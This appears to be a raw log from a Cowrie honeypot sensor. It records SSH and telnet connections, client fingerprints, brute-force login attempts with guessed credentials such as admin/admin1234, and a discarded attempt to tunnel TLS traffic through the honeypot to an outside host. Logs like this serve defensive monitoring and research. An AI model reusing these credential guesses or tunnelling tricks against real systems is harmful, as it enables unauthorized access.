{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:44.902184Z","session":"93cd8fc7f5b3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:45.135807Z","src_ip":"123.27.168.40","session":"93cd8fc7f5b3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03I<:\\xf7&\\x9c%jQ]\\xd8) \\x8bW\\xc2\\xb3\\x86w*\\x99\\xec\\x8e\\x92d\\x086TA\\xe6\\xbfM `+\\x8f)\\xeb@\\x03\\xc5\\xb0\\\\m\\x91\\x94\\xca\\xe7v\\xa5-*\\x9c\\\\\\x0b=\\xf4\\x1dL\\x1f\\x15\\x11\\x96\\x83\\x96\\x00\"zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 \\x8f1R[A[\\xe1\\x8c\\xf3\\x90\\xa3\\xe7\\xbeu\\x02\\xed!\\xe5\\x94\\x98\\x98S\\x0e\\x04\\xdb\\x8b\\x0fJC\\x86\\xba)\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03I<:\\xf7&\\x9c%jQ]\\xd8) \\x8bW\\xc2\\xb3\\x86w*\\x99\\xec\\x8e\\x92d\\x086TA\\xe6\\xbfM `+\\x8f)\\xeb@\\x03\\xc5\\xb0\\\\m\\x91\\x94\\xca\\xe7v\\xa5-*\\x9c\\\\\\x0b=\\xf4\\x1dL\\x1f\\x15\\x11\\x96\\x83\\x96\\x00\"zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 \\x8f1R[A[\\xe1\\x8c\\xf3\\x90\\xa3\\xe7\\xbeu\\x02\\xed!\\xe5\\x94\\x98\\x98S\\x0e\\x04\\xdb\\x8b\\x0fJC\\x86\\xba)\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:45.138899Z","src_ip":"123.27.168.40","session":"93cd8fc7f5b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:45.482251Z","src_ip":"123.27.168.40","session":"93cd8fc7f5b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.4","message":"Connection lost after 6.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:46.250715Z","src_ip":"91.92.40.36","session":"af94e1901075","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":50652,"dst_ip":"159.203.135.109","dst_port":22,"session":"d3d7c6d88e25","protocol":"ssh","message":"New connection: 91.92.40.36:50652 (159.203.135.109:22) [session: d3d7c6d88e25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:46.549668Z"}
{"eventid":"cowrie.session.closed","duration":"14.6","message":"Connection lost after 14.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:46.913308Z","src_ip":"23.175.50.47","session":"278ef89f2b17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.208.188.210","src_port":61964,"dst_ip":"10.17.0.5","dst_port":22,"session":"5d7ed6056799","protocol":"ssh","message":"New connection: 173.208.188.210:61964 (10.17.0.5:22) [session: 5d7ed6056799]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:47.439839Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:47.444726Z","src_ip":"173.208.188.210","session":"5d7ed6056799","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:47.609743Z","src_ip":"173.208.188.210","session":"5d7ed6056799","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:47.708265Z","src_ip":"91.92.40.36","session":"d3d7c6d88e25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:48.158946Z","src_ip":"91.92.40.36","session":"d3d7c6d88e25","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:49.698191Z","src_ip":"173.208.188.210","session":"5d7ed6056799","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"omm","password":"omm1234","message":"login attempt [omm/omm1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:53.149409Z","src_ip":"91.92.40.36","session":"d3d7c6d88e25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":50692,"dst_ip":"159.203.135.109","dst_port":22,"session":"7e24624a1ca2","protocol":"ssh","message":"New connection: 91.92.40.36:50692 (159.203.135.109:22) [session: 7e24624a1ca2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:54.732022Z"}
{"eventid":"cowrie.session.closed","duration":"8.6","message":"Connection lost after 8.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:55.143693Z","src_ip":"91.92.40.36","session":"d3d7c6d88e25","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:55.366366Z","src_ip":"91.92.40.36","session":"7e24624a1ca2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:55.370064Z","src_ip":"91.92.40.36","session":"7e24624a1ca2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"asddsa","message":"login attempt [user/asddsa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:57.621737Z","src_ip":"91.92.40.36","session":"7e24624a1ca2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.3","message":"Connection lost after 4.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:52:59.069974Z","src_ip":"91.92.40.36","session":"7e24624a1ca2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.87.183","src_port":41688,"dst_ip":"159.203.135.109","dst_port":23,"session":"b70cbce70075","protocol":"telnet","message":"New connection: 103.249.87.183:41688 (159.203.135.109:23) [session: b70cbce70075]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:53:00.474030Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":54498,"dst_ip":"159.203.135.109","dst_port":22,"session":"7e98b96cb0bf","protocol":"ssh","message":"New connection: 91.92.40.36:54498 (159.203.135.109:22) [session: 7e98b96cb0bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:53:02.921708Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:53:03.219939Z","src_ip":"91.92.40.36","session":"7e98b96cb0bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:53:03.224075Z","src_ip":"91.92.40.36","session":"7e98b96cb0bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"yegu","password":"yegu","message":"login attempt [yegu/yegu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:53:05.747633Z","src_ip":"91.92.40.36","session":"7e98b96cb0bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:53:07.768410Z","src_ip":"91.92.40.36","session":"7e98b96cb0bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":10714,"dst_ip":"159.203.135.109","dst_port":22,"session":"69be649cf6f0","protocol":"ssh","message":"New connection: 91.92.40.36:10714 (159.203.135.109:22) [session: 69be649cf6f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:53:08.453927Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:53:09.238764Z","src_ip":"91.92.40.36","session":"69be649cf6f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:53:09.241909Z","src_ip":"91.92.40.36","session":"69be649cf6f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.175.50.51","src_port":62993,"dst_ip":"10.17.0.5","dst_port":22,"session":"64f7582c6914","protocol":"ssh","message":"New connection: 23.175.50.51:62993 (10.17.0.5:22) [session: 64f7582c6914]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:53:10.627040Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:53:10.973537Z","src_ip":"23.175.50.51","session":"64f7582c6914","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:53:10.978832Z","src_ip":"23.175.50.51","session":"64f7582c6914","protocol":"ssh"}
